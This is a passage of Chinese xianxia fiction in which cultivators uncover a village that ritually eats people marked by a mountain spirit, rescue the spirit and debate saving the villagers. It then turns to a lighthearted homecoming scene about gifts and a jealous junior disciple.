洛逢春能感觉到一道视线落在自己脸上,带着一种令人极不舒服的,混合了探究与恐惧的情绪。
就在那发出声响的东西越靠越近时,他骤然探出手,握住了那只试图伸向他的手腕。
触手冰凉,且瘦骨嶙峋,仿佛没有血肉,只剩下一把骨头。
“唔!”来人发出一声受惊的呜咽,整个人僵在原地,抖若筛糠。
洛逢春睁开眼,坐起身,看清了来人。
竟是那个他白日从雾里救回的少女。
少女脸上毫无血色,一双眼睛瞪得极大,瞳孔骤缩,死死地盯着洛逢春,仿佛看到的是什么择人而噬的怪物。
“姑娘?”洛逢春微微蹙眉,稍稍放松了钳制,“你为何深夜来此?”
少女猛地一颤,拼命想抽回手,发现徒劳后,竟双腿一软,“噗通”一声跪倒在地上,朝着洛逢春不住地磕头,绝望哀告:
“仙长……仙长饶命……求求您……救救我吧……我会死的……”
“求求您救救我……让我跟您一起走吧……”
洛逢春心头猛地一沉,松开手,俯身想去扶她:“姑娘,你冷静些,你看清楚,这里是村落,没有恶人,不会伤你……”
然而少女却吓得浑身痉挛,猛地向后缩去,涕泪横流,语无伦次地哭诉:
“不是的,不是的……他们……都是他们……村子……村子的人……疯了……都疯了!碰过山神大人的……吃了……都吃了……”
“姐姐……阿娘……都被……呜呜……下一个就是我……逃不掉的……山神大人也救不了我们……他们还要吃……吃……”
她的话语破碎不堪,洛逢春心中疑窦丛生,寒意自脊背悄然蔓延。
就在这时,门外传来一声轻响。
少女的哭声戛然而止。她脸上血色尽褪,双手死死捂住自己的嘴,惊恐万分地瞪着房门。
洛逢春伸出指尖,在少女喉间和眉心迅速一点,施下禁言与匿形咒,随即一把将她推到屋中最深的阴影里,低声嘱咐道:“别出声,别动!”
他重新躺回床上,拉过薄被盖好,闭上眼睛,调整呼吸,装成仍在熟睡的样子。
房门处再度有了动静。先是极轻微的“噗”一声,窗户纸上裂出了一道缝隙。
紧接着,一根细长的竹管悄无声息地伸了进来,一股淡薄的,带着些许甜腥气的烟雾被吹入屋内。
迷烟。
洛逢春屏住呼吸,体内灵力运转,将微量吸入的迷烟瞬间化去。
约莫过了半刻,房门被从外面推开。几个黑影蹑手蹑脚地摸了进来,脚步放得极轻。
来的不止一人。
他们径直走向床榻,似乎确认了一下是洛逢春。
一个压低的声音响起,带着扭曲的兴奋:“这个可是凌云宗弟子,又接触过山神大人,灵气肯定足,肯定能救我们……”
“少废话,快抬走!有山神那一个祭品就够了,这个算是添头,赶紧搬走,别误了时辰!”
另一个略显苍老的声音催促道,听起来竟有几分耳熟。
是陈老丈?!洛逢春心头一震。
几人动作麻利,拿出早已准备好的粗糙绳索,将洛逢春的手脚迅速捆牢。然后拿出一条布袋,套在了他头上,将他扛了起来。
洛逢春却并未反抗,他倒要看看,这些人要把他带到哪里去。
他被扛着,颠簸了一段路,走向村子的某个方向。夜晚的寒风透过布袋吹进来,带着某种难以言喻的腐烂气味。
不知过了多久,扛着他的人停了下来。
接着,他感到身下一空,“砰”地一声,被重重扔在了一个硬物上,摔得生疼。
随后是“哐当”一声巨响,厚重的木板被合上,还有铁链扣紧的声响。
周围瞬间陷入死寂。一股浓烈到令人作呕的,混合着腐烂,血腥,与尘土的气味涌入鼻腔。
确定人都已经离开后,洛逢春运转灵力,轻易挣开了绑缚在手脚上的绳索,扯掉了头上的布袋。
他睁开眼,四周伸手不见五指,指尖凝起一缕青色灵光,勉强照亮了周围。
这是一处地窖。空间不大,四处堆放着一些破旧的农具和杂物,积满了厚厚的灰尘。
然而就在灵光照亮脚下土地的瞬间,洛逢春的呼吸猛地一滞,瞳孔骤缩。
白骨。
他的脚下,以及地窖的各个角落,散落着累累白骨。许多骨头上还残留着清晰的牙印和啃噬的痕迹。
有些骨架尚且完整,扭曲地蜷缩着,有些则早已散乱,头骨滚落一旁。数量之多,远超想象。
饶是洛逢春心性沉稳,见此情景也不由得脊背发凉。这些……难道都是……
他强压下心头的寒意,俯下身,从离他最近的一具相对完整的骸骨开始检查。
骸骨身上的粗布衣物尚未完全腐烂。从骨骼大小判断,有男有女,甚至还有……孩童。
他的目光骤然一凝,蹲下身,拾起了骸骨枯白的手臂。借着灵光,他清晰地看到,每具骸骨,手臂的骨头上竟然都刻着一个印记。
一个绿色的,如同藤蔓缠绕而成的叶片状纹印。
*
房屋内,那名被沈祭雪扼住咽喉,按在墙上的男子,在谢灼乱七八糟胡搅蛮缠的威胁恐吓下,心理防线彻底崩溃。
“我……我说……别杀我……”男子涕泪横流。
“是……是村长……和陈老丈……让我们来的……说,说你们这些修道之人……身有灵气……又接触过山神大人……是,是最好的‘药引’……抓了你们……吃了……”
“吃了……血肉之后,就不会再受……疫病的威胁……还能……延年益寿……”
“吃人延寿?”沈祭雪与谢灼对视
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一眼,这村子,远比表面看起来的要更加诡异邪门。
“洛逢春和那个山灵呢?”沈祭雪冷声问。
“不,不知道……这个时辰……可能,可能已经被带去祭场了……”
沈祭雪甩开男子,与谢灼同时掠出房门。
院中寂静无声,陈老丈早已不见踪影。整个村子一片死寂,家家户户门窗紧闭,不见半点灯火,不见半点人息。
“果然都去了。”谢灼环顾四周,语带嘲讽,“看来这祭祀的阵仗不小啊。”
沈祭雪面沉如水,指尖一弹,一道淡蓝色的灵力符箓凭空凝聚。
符箓在空中颤了颤,随即化作一道流光,向着村子后方山林深处疾射而去。
两人毫不犹豫跟了上去。
循着流光,越往前走,空气中那股古怪的腐臭气息就越明显。
甚至隐隐约约的,能听到远处传来的嘈杂人声,像是在吟唱着某种古怪扭曲的调子,间或夹杂着几声兴奋的嚎叫。
流光最终消失在了一片林间空地边缘。
沈祭雪和谢灼悄无声息地掠上高处枝头,向下望去。
只见空地中央燃起一个巨大的篝火堆,火焰跳跃着,映照出周围一张张扭曲狂热的面孔。
几乎全村的人都在这里了。男女老少,腐烂的和鲜活的,患病的和健康的,穿着色彩鲜艳的吉服,脸上带着或兴奋或贪婪的神情,纵情吟唱高歌,手舞足蹈。
而在火堆的中央,立着一根粗大的十字木桩。
山灵被紧紧绑在木桩之上。他垂着头,银发凌乱,衣襟散开,露出染血的肌肤和清晰的锁骨,显得愈发脆弱。
他此时气息微弱,似乎已经完全失去了意识,任人摆布。
几个像是村中长老的人,包括陈老丈,正站在木桩前,手里拿着奇怪的青铜刀具,脸上洋溢着一种虔诚又喜悦的疯狂。
片刻后,随着曲调结束,疯狂的欢呼声和吟唱声达到了高潮。
陈老丈手中捧起一个陶碗,碗中盛满了暗红色的,粘稠的液体。
他走到木桩前,高举陶碗,口中念念有词,然后将碗中的液体猛地泼向了山灵。
那暗红液体沾上山灵的衣衫和皮肤,竟发出“嗤嗤”的声响,冒出阵阵白烟。
山灵的身体剧烈地颤抖起来,发出一声压抑不住的,极其痛苦的闷哼,猛地抬起了头。
“除疫礼成,分胙消灾!”
随着他嘶哑的吼声,周围的人群爆发出更加狂热的欢呼,手中拿着同样的青铜刀具,疯狂向着中央的火堆和木桩围拢过去。
“啧,真是……好一场热闹。”谢灼的声音在沈祭雪耳边响起,隐隐带着点不悦。
“道友,你说这下,我们是剁了他们的手呢,还是拆了这整个村子?”
沈祭雪没有回答,她手腕上那藤蔓状的绿色印记在靠近此地时,毫无征兆地灼热起来,烫得惊人。
她缓缓握紧了手中的剑,抽鞘而出。
剑刃发出一声清脆凛冽的铮鸣,在这疯狂喧嚣的夜色中,清晰可闻。
15. 印迹
剑鸣清越,如寒潭碎玉,瞬间压过了场中狂热的喧嚣。
那些疯狂扑向山灵的村民动作一僵,齐齐扭头,数道混杂着贪婪,疯狂与惊疑的视线,看向了高处枝头那两道突然出现的身影。
沈祭雪手中长剑寒光流转,面色冷极,眸中凝着化不开的寒霜。
谢灼立于她身侧,玄骨扇轻摇,唇角噙着一丝玩味的笑,漫不经心地扫过下方一张张扭曲的面孔。
“什么人?!”
“敢打扰除疫礼?!”
“抓住他们!”
短暂的死寂后,人群爆发出更猛烈的骚动,离得最近的几个村民嚎叫着,挥舞着手中的锄头柴刀,向树下冲来。
沈祭雪纵身而下,衣袂飘飞,手中长剑化作一道迅疾的流光。
“砰!”“砰!”几声闷响,冲在最前的几人哼都未哼一声,便被剑背精准敲在颈侧,软软倒地。
谢灼轻笑一声,身影掠入人群,玄骨扇合至一处,并不下杀手,只用扇骨或点或拍。他身法诡谲莫测,兼之出手极快,眨眼间,地上便倒了一片。
然而,剩余的村民不但没有退却,眼底的疯狂反而愈烧愈烈,前仆后继地涌上,口中叫嚷着含糊不清的咒骂,仿佛不畏疼痛,不惧死亡。
谢灼侧身避开一把挥来的铁锅,扇骨一敲,又将一人放倒。
沈祭雪剑刃横扫,荡开一片空地,目光定在火堆中央的木桩上。
山灵垂着头,银发被暗红的液体黏在脸颊颈侧。
那被泼洒过的地方,衣衫腐蚀,皮肤呈现出不正常的焦黑色,还在微微冒着白烟,显然极为痛苦。
不能再这么耽搁下去,必须尽快带他离开。
她向谢灼使了个眼色,两人同时发力,如两道利箭,直直冲向火堆中央的木桩。
“拦住他们!不能让他们劫走山神大人!”陈老丈嘶声尖叫,举起手中的青铜刀具,不管不顾地扑向沈祭雪。
沈祭雪侧身避过,剑刃回击,格开刀具,将他震得踉跄后退。另一侧,谢灼玄骨扇翻飞,同样格开数件袭来的器具,已逼近木桩。
“滚开!”一个老者举着骨杖砸向谢灼。
谢灼头也未回,反手一扇,骨杖应声而断,那老者被扇风带得原地转了个圈,晕倒在地。
趁此间隙,沈祭雪长剑出鞘,瞬间切断了束缚山灵的粗糙绳索。
山灵身体一软,向前倒去。
沈祭雪伸手接住。
“走!”沈祭雪低喝一声,半扶半抱着山灵,足尖一点,纵身后退。
谢灼玄骨扇展开,横扫而出,一股凌厉气劲将再度围拢的村民逼退数步,为她断后。
“仙长……药引……不能走……”
“山神大人恕罪……山神大人恕罪啊……”
村民们哭嚎着,咒骂着,仍不死心地想要追来。
二人身形化作流光,冲出林间空地,将那片篝火远远抛在身后,没入沉沉的夜色中。
直到再也听不见身后的喧嚣,两人才在山林中一处隐蔽山涧停了下来。
沈祭雪将山灵安放在一块较为平坦的青石上。月光透过稀疏的枝叶洒下,照亮他惨白的脸和身上可怖的伤痕。
那些暗红色的液体已经停止了腐蚀,却在他身上留下了狰狞的印记,散发出甜腥与焦糊混合的古怪气味。
沈祭雪从山涧处取了些水,用干净布巾蘸了蘸,替他擦拭伤口周围的腐蚀的血肉。
清水触及伤口,山灵的身体便是一颤,长睫剧烈抖动了几下,缓缓睁开了眼睛。
他沉默着,没有惊呼,也没有挣扎,只是静静地看了看为他处理伤口的沈祭雪。
而后又缓缓转动眼珠,看了看站在一旁神色复杂的谢灼,最后目光落回自己伤痕累累的身体上。
“醒了?”谢灼微微拧眉,神色冷肃,“说说吧,你知不知道这村子是怎么一回事?那泼在你身上的又是什么?”
山灵沉默了片刻,声音沙哑,神色却异乎寻常的平静。
“那东西,是混合了污秽之血和蚀骨草的药汁,可以……将灵力逼入灵体血肉。待他们分食灵体时,可将灵力留存在食者体内。”
他竟真的知道,谢灼和沈祭雪微微一怔。
“分食灵体?”沈祭雪眸色微沉,往后退了几步,动作停了下来。
山灵迎上她的目光,面容似是有些疲惫,“嗯。他们不是一直如此么。”
就在这时,不远处传来略显急促的脚步声。
谢灼眼神一凛,看了过去。
“沈姑娘?谢道友?是你们吗?”洛逢春刻意压低了声音,带着警惕。
谢灼不太想搭理他,但更不想让沈祭雪搭理他,磨了磨后槽牙,不大情愿地答了一声:“是,你出来吧。”
下一刻,洛逢春便从林木间钻出,形容略显狼狈,衣袍上沾了些尘土。身后还跟着那个瑟瑟发抖,眼神惊恐的少女。
见到沈祭雪二人和躺在青石上的山灵并没有断手断脚缺胳膊少腿,洛逢春松了口气。随即目光落在山灵身上的伤痕上,眉头紧紧皱起:“你们也遇袭了?他这是……”
“暂时死不了。”谢灼瞥了他一眼,“你那边怎么回事?”
洛逢春坐在青石旁休息片刻,简略同他们说了地窖所见。迷药,地窖,累累白骨,啃噬痕迹,以及那诡异的绿色藤蔓印记。
他每说一句,那少女就抖得越发厉害,牙齿咯咯作响,身体几乎要瘫软下去。
沈祭雪沉默地听着,手腕上的印记似乎又隐隐发烫。
她抬眼看向山灵,声音冷淡:“他说的那个印记,是你留下的吧。”
山灵瞳孔微微收缩,缓缓抬起眼,看向洛逢春和那名惊恐的少女,目光变得有些哀伤。
“是因为我。”他轻声说。
“我生于这片山林之间,不知岁月几何。在山间,有时会遇到误入的行人,或是山下的村民。”
他的声音压得很低,“偶尔,我会现身,在他们迷路时给予指引,或是在他们饥馁时送去些野果……我喜欢靠近他们。那些生灵,是有温度的。”
“那些接触过我的人,手腕上便会慢慢浮现出
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这个印记。”
他看向沈祭雪,“它于我,并无特殊含义,或许只是沾染我身上灵气后的一点痕迹。”
“但后来,不知从何处传来了流言……”
“说拥有这个印记的人,是被山神选中的人。吃了他们的肉,可以长生不老,百病全消。”
洛逢春倒吸一口凉气。那少女发出一声压抑的呜咽,死死捂住嘴。
“恰逢那几年,天下灾疫横行,山下村落亦不能幸免。”
山灵闭上眼,仿佛不忍回忆,“绝望之下,竟真有村民……相信了流言,对带有印记的亲人,邻人举起了屠刀……他们……吃了……他们。”
丛林中一片死寂,只有山涧流水淙淙。
“而吃过了人肉的人,或许是因为……我身上的灵气确有净化之效,竟真的扛过了疫病。”
山灵的声音带上了深深的疲惫,
“于是流言变成了真相。一旦出现灾祸,村民们便开始疯狂地寻找,追捕带有印记的人……”
“甚至,发展到后来,不再满足于等待,而是开始主动制造祭品……强迫人进入山中。”
“你既然知道,”洛逢春声音发紧,“之前为何不说?”
山灵缓缓摇头,露出一抹苦涩的笑:“不是不想,而是不愿。”
“为什么?”谢灼眉稍微扬,似是觉得不可置信。
“我生于斯长于斯,他们供奉我,崇敬我。我知近来山中生气渐衰,怨气渐浓,却不知根源在此。”
“那些留下印记的人,后来渐渐不再出现,我只当他们离开这里……”
他的声音低下去,“我却从未想过,竟是因我这一点微末的善意,为他们招致了如此……灾祸。”
沈祭雪凝视着他:“你既与他们接触不多,又是如何得知这一切的?”
山灵沉默了片刻,抬眼望向黑沉沉的山林深处,目光变得悠远而复杂。
“我曾在山中捡到一个孩子。”
“我救了她,将她藏在山林深处,用灵果清泉喂养。”
“她一天天长大,很依赖我,也对山村中的人充满好奇。”
“有一天,她外出很久都没有回来。我放心不下,出去寻她……”
山灵的声音微微颤抖起来,“附近泥地上有凌乱拖拽的痕迹,一路到了村庄。”
“我心中不安,第一次主动混入人群。我在祭祀台上……找到了她。她身体上血肉被一块块割下来供人分食。她看见了我,认出了我,对我说,‘快跑。’”
“我是此间山灵,不能对供奉我的人出手。只能眼睁睁看着她,一点一点,被人分食干净。”
山灵闭上眼,纤长浓密的睫羽湿漉漉地颤抖着,再也说不下去。
冰冷的愤怒与骇然在空气中不断蔓延,化为一片沉冷的阴霾。
一时间,无人再说话。
夜风穿过山林,带来远处村庄模糊的喧嚣余音,以及眼前山灵身上淡淡的血腥气。
少女忽然发出一声极低的啜泣,她瘫坐在地,双手捂脸,身体剧烈地颤抖起来。
16. 消散
许久,沈祭雪忽而出声,打破了山涧边的死寂:“就是因为如此,你对那些村民才彻底失望,所以故意不再予以庇佑,任疫病在山下蔓延?”
山灵倚在青石上,银发被夜风拂动,睫羽颤了颤,脸色愈发苍白。
他静默片刻,那双如碧潭般的眼眸里映着惨淡月光,缓缓闭上,复又睁开,里面是一片荒芜。
他极轻地应了一声:“是。”
谢灼抬眸瞧他,道:“山灵由山川灵脉所化,受生灵供奉而活,与一地生灵气运相连。他们若死绝了,信仰断绝,灵脉枯槁,你也会消散于天地之间。这一点,你可知?”
山灵唇角牵起一抹弧度,苦笑一声,“我知道。”
他顿了顿,神色平静,淡然道,“这些人,贪婪愚昧,为活命几近疯癫,他们早已无可救药。”
“我不会帮他们。”他重复道,目光扫过在场诸人,“也请求诸位……不要插手。任他们,在这场疫病中自生自灭吧。”
洛逢春猛地抬头,眼中满是不可置信。
沈祭雪看着他,神色漠然。
谢灼眸色幽沉,打量着山灵,似乎在此刻终于看清了他。
就在这时,那躲在一旁,惊恐瑟缩的少女忽然扑倒在地,朝着山灵和沈祭雪等人连连叩首,额头重重撞在泥地上,发出沉闷的声响。
“不……不要!”她抬起满是泪水和污泥的脸,声音凄厉破碎,带着绝望的哀恳,“山神大人,仙长!求求你们!救救他们!”
“我家人还在村里……我阿娘和姐姐被吃了……爹爹病重在床,幼弟才五岁……”
“他们是有人信了那邪说,做了那等……那等禽兽不如的事……可,可也有许多人只是因为害怕,害怕死亡……”
“而且,我阿娘说了,吃了一个人,可以救活村中很多人……是很值得的……虽然我……我很怕死,从村子里逃跑了……但是,若山神大人肯救救他们,肯定不会再有这种事发生了……”
“求求你们……救救他们吧!求求你们了!”她一遍遍地磕着头,额前渗出血丝,面上混着泥土和泪水,狼狈不堪。
沈祭雪,谢灼,洛逢春三人沉默地立着。
少女的哭求,将血淋淋的现实掰开,摆在他们面前。
也许并非所有人都是噬人的恶鬼,其中也许还有无辜的妇孺,有未曾沾染罪孽的普通人。
救,还是不救。
救,如何面对那些被分食的村民,岂不是纵容了那恶行的源头?
不救……可他们修道的目的,不正是为了斩妖除魔,涤荡污秽,护佑生灵吗?
洛逢春脸上闪过矛盾的挣扎。
他看着不断叩首哀求的少女,又看向青石上闭目不语的山灵,最终,叹了口气,向前一步,温声道:“姑娘,你先起来。此事……容我们再想想。”
他伸手想去扶那少女,少女却固执地挣脱开,跪地不起,哀哀地哭泣。
沈祭雪只觉得胸口血气翻涌,眼前的情形,与记忆中某些模糊冰冷的碎片骤然重叠。
她脸色倏地变得苍白,猛地侧过身,强压下那阵不适,低声道:“抱歉,失陪片刻。”
说罢,也不等众人反应,她快步走向林荫深处,步伐甚至带了一丝踉跄。
谢灼微微眯了眯眼,跟了上去。
夜色浓稠如墨。沈祭雪疾行数步,扶住一棵老树剧烈喘息。
身后脚步声轻响,她头也不回,声音干涩:“别跟着我。”
谢灼恍若未闻,自顾自走到她身侧,低声道:“……你不必总是一个人强撑,我会陪着你的。”
沈祭雪闭上眼,沉默片刻,道:“随你。”
二人一同走到僻静的清潭边。月光洒在潭面上,泛着泠泠冷光,碎银般荡漾。
沈祭雪扶着旁边冰冷的岩石,微微喘息,试图压下心头那股翻江倒海的恼怒和莫名的烦躁。
片刻沉默后,谢灼轻声开口:“说说看,你想怎么做?”
良久,沈祭雪才道:“他们都还是活人。”
“我们下山的目的,不就是为了救人于灾厄吗?”
谢灼嗤笑一声:“活人?你亲眼所见,亲耳所闻。那祭祀台上的血,他们分食人肉的疯狂……”
“吃人的鬼是恶鬼,连轮回都入不得。那这吃人的人,还能算是活人吗?”
沈祭雪猛地转身看向他,月色下她的脸依旧苍白,但眼神却攸忽锐利。
“那些未曾食肉的无辜者呢?任由他们死去?修道之人,说出这般见死不救的话,岂不可笑?”
“可笑?”谢灼眉头蹙起,伸出手,指向村落的方向,“哪里可笑?救了他们,然后呢?”
“今日你扑灭了疫病,来日他们是否又会因为另一个流言,再将屠刀对准身边之人?”
他向前一步,逼近沈祭雪,漆黑眼眸在此刻显得尤为冷冽:“沈祭雪,你要知道,不是所有的人,都值得被救。也不是所有的过错,都值得被原谅。”
“这是他们自己选的路。”
沈祭雪怔怔地看着他,看着他眼中毫不掩饰的冰冷与戾气。
她问:“可以不原谅吗?”
“是。”谢灼望进她眼底,“有些人,有些事,永远不值得原谅。”
清冷的月光洒在两人身上,将影子拉得很长。
沈祭雪沉默了很久很久。夜风吹动她的衣袂,猎猎作响。心中种种情绪剧烈翻腾,最终,一点点归于冰冷的沉寂。
她想起了很多事。
那些背叛,那些利用,那些以善意为名行下的恶果……与今夜所见,何其相似。
她缓缓闭上眼,再睁开时,已是一片清明。
“好。”她只说了这一个字。
两人回到山涧边时,洛逢春还在温声安慰那仍在哭求的少女。山灵闭目靠在青石上,气息微弱,对外界的一切漠不关心。
见他们回来,洛逢春抬头,眼中带着询问。
沈祭雪避开他的目光,径直走到一旁,神色冷然,显然不打算再发表任何意见。
谢灼叹了口气,替她说道:“道友,是善是恶,是生是死,皆是他们自身业果,自有天断。我们不便插手。”
洛逢春闻言站起身,眉头皱起:“道友此言差矣,你我修道之
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人,岂能见死不救?即便这其中有人罪大恶极,也有天道惩处,岂可累及无辜!”
他态度坚决:“你们若不愿出手,我便带凌云宗弟子留下尽力。能救一人,便是一人!”
谢灼沉默片刻,道:“请便。”
那少女听到洛逢春愿意留下,如同抓住了救命稻草,死死抓着他的衣袖,不住叩头感谢。
山灵依旧沉默。
夜深露重,山涧边燃起了一小堆篝火。洛逢春着手整理随身携带的灵符,思索着应对疫病的方子。
少女跪坐在山灵身旁,小心翼翼地喂他喝水。
山灵神志似乎有些恍惚,迷蒙间抓住少女手腕,轻唤一声:“阿沅……”
少女一怔,却没有挣脱。
夜深时,众人在山涧边暂歇。沈祭雪抱剑守夜,忽听身后传来细微响动。回头却见山灵不知何时醒了,正望着熟睡的少女出神。
“她很像阿沅。”山灵轻声道,没有看沈祭雪,仿佛在自言自语,“眼睛和她一模一样。”
沈祭雪微微一愣,随即反应过来,阿沅,该是他养大的那个孩子。
山灵的声音很轻,像是怕惊扰了什么:“阿沅最爱吃山上的野果,每次吃完都会把汁水弄满手。我笑她,她就会偷偷将手抹到我衣襟上……”
月光落在他苍白的脸上,映出一种近乎温柔的哀伤。
“她总缠着我讲山外的故事,说等长大了要带我一起去看烟花。可是……”
可是她没有长大。
沈祭雪默然听着。
她看见山灵周身开始泛起淡淡青光,如萤火般萦绕升腾。那些光点飘向沉睡的村庄,融入夜雾之中。
“你在做什么?”沈祭雪握剑的手一紧。
“除疫禳灾。”山灵闭上眼,声音渐弱,“……我到底还是此地的山神。”
沈祭雪微微一怔。
青光愈来愈盛,山灵的身形逐渐透明。
恍惚间,他仿佛又瞧见了那个他一点一点用灵果清泉喂养长大的姑娘。
“山神大人,吃这个果子,甜!”
“山神大人,你看,我编的花环好不好看?给你戴呀!”
“山神大人,你别总是一个人待着呀,我陪你说话好不好?”
“山神大人……快跑……”
记忆带着最初的温暖与最后的血腥,交织成一张痛苦而窒息的网,将他紧紧缠绕。
有人可以为一点虚无缥缈的长生妄想,便能将同类视为牲畜般宰割分食。
可又有人即便自身难保,仍想着救助他人。
他原本决定,让自己随着这些供奉他,又背叛他的村民一同消散于天地之间。
可是……又觉得,总有什么,是不该被一同埋葬的。
一阵温柔而浩荡的清风,悄无声息地拂过沉睡的山林,拂过山下被疫病和恐惧笼罩的村落。
这清风涤荡着污秽,净化着瘴气,所过之处,弥漫的病气悄然消融。
篝火噼啪作响,沈祭雪蓦然望向村庄的方向,只见月色清冷,山林寂静,仿佛什么都没有发生。
也好,她想。
17. 妒意
山涧边的篝火渐熄,天光微亮。
山灵已彻底消散。
洛逢春回到村中,带着凌云宗弟子开始忙碌,分发避邪符咒,还用了些手段,将村民的食人记忆一并清除。
少女在一旁帮忙,眼中重新燃起了些许希望。
沈祭雪与谢灼向洛逢春辞行。
洛逢春虽不赞同他们的决定,却还是郑重道:“此地后续,凌云宗会尽力。二位……保重。”
途经山下小镇的集市时,正值午后,人声鼎沸。沈祭雪脚步顿了顿,走了过去。
谢灼眉梢微挑,饶有兴致地跟上。
沈祭雪先在一个卖糖块的摊子仔细挑了几包松子糖。又转到一家书铺,选了新出的话本和符箓图谱。
甚至还在卖首饰的摊子前犹豫片刻,买了一支素雅的玉簪。
最后,是布匹,药材,还有一口看起来特别结实的铁锅。
谢灼跟在她身后,好心帮她分担了大半,左右手挂满了各式各样的包裹,耐心地等了又等。
等了半晌,眼见沈祭雪买完所有东西,准备转身离开时,谢灼终于忍不住了。
他快走两步,与沈祭雪并肩,微微偏过头,眼眸似笑非笑,问道:“道友,我的东西呢?”
沈祭雪抬眼看他,一时没反应过来:“……什么?”
“我的呢?”谢灼用眼神示意了一下自己身上挂满的那些大包小包,声音有些委屈。
“这些沉鱼峰上的人都有份,那我的东西呢?你为什么不送我东西?”
沈祭雪奇怪地看了他一眼,“……你如今不是就在集市上吗?想要什么,可以去选,我帮你付就是了。”
说着,沈祭雪还侧了侧身,示意摊位上东西还很多。
谢灼:“……”
他被这人的理直气壮噎了一下,站直身体,眼神幽幽地看着她:“那道友难道觉得,我自己选的和你送的,是一样的吗?”
沈祭雪闻言,微微蹙眉:“都是物件而已,有什么不一样。难不成我送你的,你要当作神物,摆在香案上日夜供奉么?”
谢灼眼眸弯了弯,一本正经地点头:“是啊,只要你送了我东西,我就供起来。”
沈祭雪:“……”
……罢了。
只是想要个物件而已,又不是什么大事。
她转过身,目光仔细地扫过旁边的摊位,上面堆满了各种矿石,兽骨,以及看不出用途的金属。
沈祭雪从中拾起一条链子。那链子似乎是银质的,但做工略显粗糙,中间坠着一颗小小的,但意外剔透的深蓝色晶石,像是凝固的一小片夜空。
“这个给你。”她将链子递到了谢灼面前。
谢灼接过那条链子,低头看了看,又抬头看着沈祭雪,眼眸微微睁大,随即,里面像是落入了星子,倏地亮了起来,“真的送我?”
沈祭雪轻轻点了点头,转身去找摊主付账。
摊主笑吟吟地搓着手看她:“今日我这摊子多买有优惠,仙长要不多买一条,两条打包,半价卖给您。”
沈祭雪想了想,答应了。她从摊位上拾了一条相同的链子塞进袖子里,付过钱,回头看了谢灼一眼:“走了。”
谢灼小心地将链子绕在手腕上,得意地在眼前晃了晃,又对着阳光看了看,而后笑着应道:“好嘞!”
二人刚走到峰顶,就听到院子里传来一阵鸡飞狗跳的动静。
“师姐!谢师兄!”
两道身影从门内冲了出来,一左一右抱住了沈祭雪的胳膊,声音雀跃。
沈祭雪手里提着东西,被他们撞得微微后退半步,脸上的神色却柔和了些:“嗯。”
“有没有带好吃的?”
“有没有带好玩的?”
双胞胎睁大眼睛,迫不及待地就要接过她手里的包裹。
谢灼从后面晃了出来,笑眯眯地弯下腰:“你们俩的东西在这里。”
双胞胎的注意力立刻被吸引过去,欢呼着围住了谢灼。
沈溪从灶房里走出来,手上还沾着面粉,见到他们,脸上露出温和的笑意:“师姐,谢道友,你们回来了。事情还顺利吗?”
“一般。”沈祭雪将手中的药材和一些食材递给沈溪,“这些给你。”
沈溪接过,道了声谢。
他看了一眼给双胞胎分发东西的谢灼,欲言又止。
沈祭雪的目光扫过院子,少了那个总是聒噪管着双胞胎的身影。
“二十三呢?”她问道。
沈溪的笑容顿了顿,声音压低了些,往沈荷的房门瞟了一眼:“哎呀,这不是师父出去云游了,她在……在师父屋里整理东西呢。”
“从小到大,你一说谎就结巴。”沈祭雪看了他一眼,蹙眉,“二十三她到底怎么了?”
沈溪叹了口气,声音有些无奈:“……闻琴师弟回来了,二十三在陪他呢。”
“……”
沈祭雪沉默了一瞬,目光飘移,开始琢磨现在立刻转身下山,去执行下一个宗门任务还来不来得及。
沈闻琴同样是沈荷十几年前从山下捡回来的孩子。少年心性,活泼跳脱,天赋不错,就是……太过热情。
尤其是对她这个师姐,有种奇怪的依赖和亲近。表达方式,有时也令她难以招架。
就在这时,沈荷的房门“吱呀”一声被推开了。
沈二十三走了出来,表情是一言难尽的复杂,像是松了口气,又像是十分头疼。
跟在她身后的,是一个看起来约莫十七八岁的少年。
一身青衫,身姿挺拔,如春日修竹,生机勃勃。面容俊朗,眉眼飞扬,嘴角天然带着点上扬的弧度,眼神清澈明亮。
那少年一出门,目光就精准地看向了沈祭雪,瞬间眼眸亮得惊人,仿佛盈满了星辰。
“师姐!”
他的声音里透着毫不掩饰的喜悦和亲昵。
沈闻琴几乎是跳着过来的,张开手臂就要给沈祭雪一个结结实实的拥抱。
旁边的沈溪下意识捂额,沈二十三嘴角抽搐。
沈祭雪的身体微微僵了一下。
就在沈闻琴即将扑到她身上的刹那,一条手臂横插过来,稳稳地拦在了两人之间。
谢灼侧身挡在沈祭雪身前,唇角勾起,眼神带着几分审视,上下打量着他。
沈闻琴扑了个空,差点没收住脚撞到谢灼怀里。
他稳住身形,不满地抬头,打量着眼前戴着面具,气息陌生的男子:“你是谁?干嘛拦着我?”
谢灼轻笑一声,语气无比
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自然:“我?我是你师姐的道侣。你又是谁?”
“道侣?!”沈闻琴脸上的笑容瞬间凝固,眼睛猛地瞪大,看向沈祭雪,“师姐?你什么时候有的道侣?我怎么不知道?”
“他是谁?是哪座峰的?修为如何?对你好不好?哎呀,是不是他强迫你的?师姐你肯定不愿意对不对?”
“哎,我就知道!师姐你肯定不喜欢他对吧?我这就把他赶出去!”
一连串的话语像连珠炮似的砸了过来,沈闻琴一面说,还一面伸出手,想去拉沈祭雪的衣袖。
沈祭雪被他问得头大,下意识地后退了半步,避开他的手,揉了揉眉心。
这个师弟哪里都好,就是太过热情。
她沉默片刻,选择性地忽略了他提的问题,僵硬地别过脸:“二十三,过来帮忙。”
沈二十三和沈溪对视一眼,憋着笑,上前接过了沈祭雪手里的东西。
石桌上一大堆包裹摊开,众人围在一旁等待。
沈祭雪将给布匹,茶叶,药材一一分派出去。
最后,她拿起那口看起来特别结实的铁锅,顿了顿,递给沈溪:“你每日做饭,想来很费锅。这个,也是你的。”
沈二十三看着那口黑黝黝的铁锅,神色复杂地接了过来:“……多谢师姐。”
他大概这辈子都没收到过如此实在的礼物。
分了一圈,人人都有份。
只有沈闻琴,两手空空,眼巴巴地看着。
气氛一时有点尴尬。
沈闻琴那双亮晶晶的眼睛一点点黯淡下去,眼神委屈得仿佛下一秒就要落下泪来。
“师姐……”他声音闷闷的,面上是显而易见的失落,“我的呢?你没有给我带礼物吗?”
沈祭雪:“……”
她这才想起,自己买东西的时候,似乎完全把这位常年在外,行踪不定的师弟给忘了。
她轻咳一声,目光扫过全场。
糖块和糕点已经被双胞胎分完了,铁锅也送了出去,玉簪也已经送去了师父的卧房。
事到如今,只有……
沈祭雪的目光最终落在了自己多买的那条银链上。
